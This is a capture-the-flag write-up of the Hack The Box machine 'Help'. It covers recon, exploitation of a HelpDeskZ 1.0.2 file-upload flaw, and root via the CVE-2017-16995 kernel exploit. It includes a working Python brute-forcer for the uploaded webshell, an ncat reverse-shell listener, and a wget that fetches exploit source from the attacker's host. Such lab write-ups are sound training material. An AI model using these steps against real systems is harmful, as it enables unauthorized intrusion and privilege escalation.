HTB Writeup: Help
Posted on Tue 19 February 2019 in Writeups
OS | Linux | |
Author | cymtrick | |
Difficulty | Easy | |
Points | 20 | |
Released | 19-01-2019 | |
IP | 10.10.10.121 |
Summary
Writeup of 20 points Hack The Box machine - Help. It is a simple Linux box. User flag could be read by exploiting HelpDeskZ software. Root access is obtainable with usage of an exploit (CVE-2017-16995) against outdated kernel.
Reconnaissance
Traditionally I start with nmap scanning.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
3000/tcp open http Node.js Express framework
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have 3 TCP ports open. I didn't see any service listening on UDP.
OpenSSH in this version allows for username enumeration (CVE-2016-6210). It is something but
honestly not much. We also have Apache with several vulnerabilities but exploiting them most likely
won't be the intended way to obtain flags. In TCP/80
we see usual Apache2 Ubuntu Default Page. It is time
to dig deeper.
root@kali:~/HTB_machines/10.10.10.121# nikto -h 10.10.10.121
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.121
+ Target Hostname: 10.10.10.121
+ Target Port: 80
+ Start Time: 2019-01-30 13:50:54 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x2c39 0x57ba5b7e5205d
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Cookie PHPSESSID created without the httponly flag
+ Cookie lang created without the httponly flag
+ OSVDB-3092: /support/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7499 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2019-01-30 13:54:05 (GMT1) (191 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Ok, that's something.
+ OSVDB-3092: /support/: This might be interesting...
I agree - it might be interesting. Under /support/
directory we
encounter HelpDeskZ main page.
After that I approached TCP/3000
. From previous scan I saw that there is a Node.js app running which I confirmed
by sending GET /
request.
root@kali:~# curl -vvv -g 'http://10.10.10.121:3000/'
* Trying 10.10.10.121...
* TCP_NODELAY set
* Connected to 10.10.10.121 (10.10.10.121) port 3000 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.121:3000
> User-Agent: curl/7.61.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 81
< ETag: W/"51-gr8XZ5dnsfHNaB2KgX/Gxm9yVZU"
< Date: Wed, 20 Feb 2019 19:32:19 GMT
< Connection: keep-alive
<
* Connection #0 to host 10.10.10.121 left intact
{"message":"Hi Shiv, To get access please find the credentials with given query"}
Exploitation
Let's focus on main service - HeldeskZ. Quick browsing Internet shows that there are at least two public
available exploits targeting version 1.0.2
.
Side note: this is the newest version of this software and vulnerabilities are serious. Don't use it in production enviroment.
Looking at source code gives us a simple way of determining exact running version.
As I mention before I found two exploits for this version:
Since I haven't got any valid credentials I decided to give a go for the first one. The problem is with submit_ticket_controller.php file.
if(!isset($error_msg) && $settings['ticket_attachment']==1){
$uploaddir = UPLOAD_DIR.'tickets/';
if($_FILES['attachment']['error'] == 0){
$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
$fileuploaded[] = array('name' => $_FILES['attachment']['name'], 'enc' => $filename, 'size' => formatBytes($_FILES['attachment']['size']), 'filetype' => $_FILES['attachment']['type']);
$uploadedfile = $uploaddir.$filename;
if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
$show_step2 = true;
$error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
}else{
$fileverification = verifyAttachment($_FILES['attachment']);
switch($fileverification['msg_code']){
case '1':
$show_step2 = true;
$error_msg = $LANG['INVALID_FILE_EXTENSION'];
break;
case '2':
$show_step2 = true;
$error_msg = $LANG['FILE_NOT_ALLOWED'];
break;
case '3':
$show_step2 = true;
$error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);
break;
}
}
}
}
Turns out that any attachment is always uploaded, even if the file type is disallowed. More than that. The resulting file name could be calculated.
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
Even more than that. Original extension is preserved!
$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
This is really bad code. This issue was reported in January 2017. However since it is most likely abandonware, it won't be fixed.
Anyway, we are here to exploit it. Code of original exploit needed to be a little bit adjusted. Uploaded filename is hashed with current (server) time. So we need to know approximate server time and bruteforce several filenames.
import hashlib
import time
import sys
import requests
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
if len(sys.argv) < 3:
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
currentTime = int(time.time())
for x in range(0, 300): # THIS LINE NEEDS TO BE ADJUSTED
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0)
print "Sorry, I did not find anything"
And we can get server time from Date
HTTP header by quering Node.js app on port TCP/3000
.
root@kali:~# curl -vvv -g 'http://10.10.10.121:3000/'
* Trying 10.10.10.121...
* TCP_NODELAY set
* Connected to 10.10.10.121 (10.10.10.121) port 3000 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.121:3000
> User-Agent: curl/7.61.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 81
< ETag: W/"51-gr8XZ5dnsfHNaB2KgX/Gxm9yVZU"
< Date: Wed, 20 Feb 2019 19:32:19 GMT
< Connection: keep-alive
<
* Connection #0 to host 10.10.10.121 left intact
{"message":"Hi Shiv, To get access please find the credentials with given query"}
So we need to upload webshell by submiting the ticket.
And bruteforce the execution.
root@kali:~/HTB_machines/10.10.10.121# python 40300.py http://10.10.10.121/support/uploads/tickets/ phpshell.php
And reverse shell will pop-up. Then straight to user flag.
root@kali:~/HTB_machines/10.10.10.121# ncat -l -v -p 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.121.
Ncat: Connection from 10.10.10.121:34676.
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
11:30:33 up 8:55, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
$ cd /home/help
$ ls -la
total 76
drwxr-xr-x 7 help help 4096 Jan 11 06:07 .
drwxr-xr-x 3 root root 4096 Nov 27 00:43 ..
-rw-rw-r-- 1 help help 272 Jan 11 06:17 .bash_history
-rw-r--r-- 1 help help 220 Nov 27 00:43 .bash_logout
-rw-r--r-- 1 root root 1 Nov 27 01:13 .bash_profile
-rw-r--r-- 1 help help 3771 Nov 27 00:43 .bashrc
drwx------ 2 help help 4096 Nov 27 00:45 .cache
drwxr-xr-x 4 help help 4096 Feb 19 02:35 .forever
-rw------- 1 help help 442 Nov 28 04:46 .mysql_history
drwxrwxr-x 2 help help 4096 Nov 27 01:12 .nano
drwxrwxr-x 290 help help 12288 Jan 11 05:53 .npm
-rw-r--r-- 1 help help 655 Nov 27 00:43 .profile
-rw-rw-r-- 1 help help 66 Nov 28 09:58 .selected_editor
-rw-r--r-- 1 help help 0 Nov 27 00:48 .sudo_as_admin_successful
-rw-rw-r-- 1 help help 225 Dec 11 01:53 .wget-hsts
drwxrwxrwx 6 root root 4096 Jan 11 05:53 help
-rw-rw-r-- 1 help help 946 Nov 28 10:35 npm-debug.log
-rw-r--r-- 1 root root 33 Nov 28 10:51 user.txt
$ cat user.txt
bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXf
Post exploitation
Post exploitation phase was very quick here. I run linux-enum-mod.sh
with my little modifications, but I used only one thing from it. Output from uname -ar
command.
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Quick duckduckgoing shows me that this particular kernel is vulnerable and exploit is publicly available.
Privilege escalation
I used CVE-2017-16995, downloaded source code to my Kali machine, uploaded to Help, compile and executed. It worked.
help@help:/tmp$ wget http://10.10.14.16/cve-2017-16995.c
wget http://10.10.14.16/cve-2017-16995.c
--2019-02-19 12:50:51-- http://10.10.14.16/cve-2017-16995.c
Connecting to 10.10.14.16:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6244 (6.1K) [text/plain]
Saving to: 'cve-2017-16995.c'
cve-2017-16995.c 100%[===================>] 6.10K --.-KB/s in 0s
2019-02-19 12:50:52 (979 MB/s) - 'cve-2017-16995.c' saved [6244/6244]
help@help:/tmp$ gcc cve-2017-16995.c -o cve-2017-16995.o
gcc cve-2017-16995.c -o cve-2017-16995.o
help@help:/tmp$ chmod +x cve-2017-16995.o
chmod +x cve-2017-16995.o
help@help:/tmp$ ./cve-2017-16995.o
./cve-2017-16995.o
task_struct = ffff880038fa1c00
uidptr = ffff8800368c2184
spawning root shell
root@help:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)
root@help:/tmp# ls -la /root/
ls -la /root/
total 84
drwx------ 6 root root 4096 Jan 13 13:41 .
drwxr-xr-x 22 root root 4096 Nov 28 09:18 ..
-rw-r--r-- 1 root root 745 Jan 13 13:41 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Dec 10 22:07 .cache
drwxr-xr-x 4 root root 4096 Nov 27 08:23 .forever
-rw------- 1 root root 1548 Jan 13 13:41 .mysql_history
drwxr-xr-x 2 root root 4096 Nov 27 00:50 .nano
drwxr-xr-x 803 root root 36864 Nov 27 08:21 .npm
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 0 Nov 28 09:33 .sudo_as_admin_successful
-rw-r--r-- 1 root root 260 Nov 28 04:58 .wget-hsts
-rw-r--r-- 1 root root 33 Nov 28 10:53 root.txt
root@help:/tmp# cat /root/root.txt
cat /root/root.txt
bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX8
Voilà.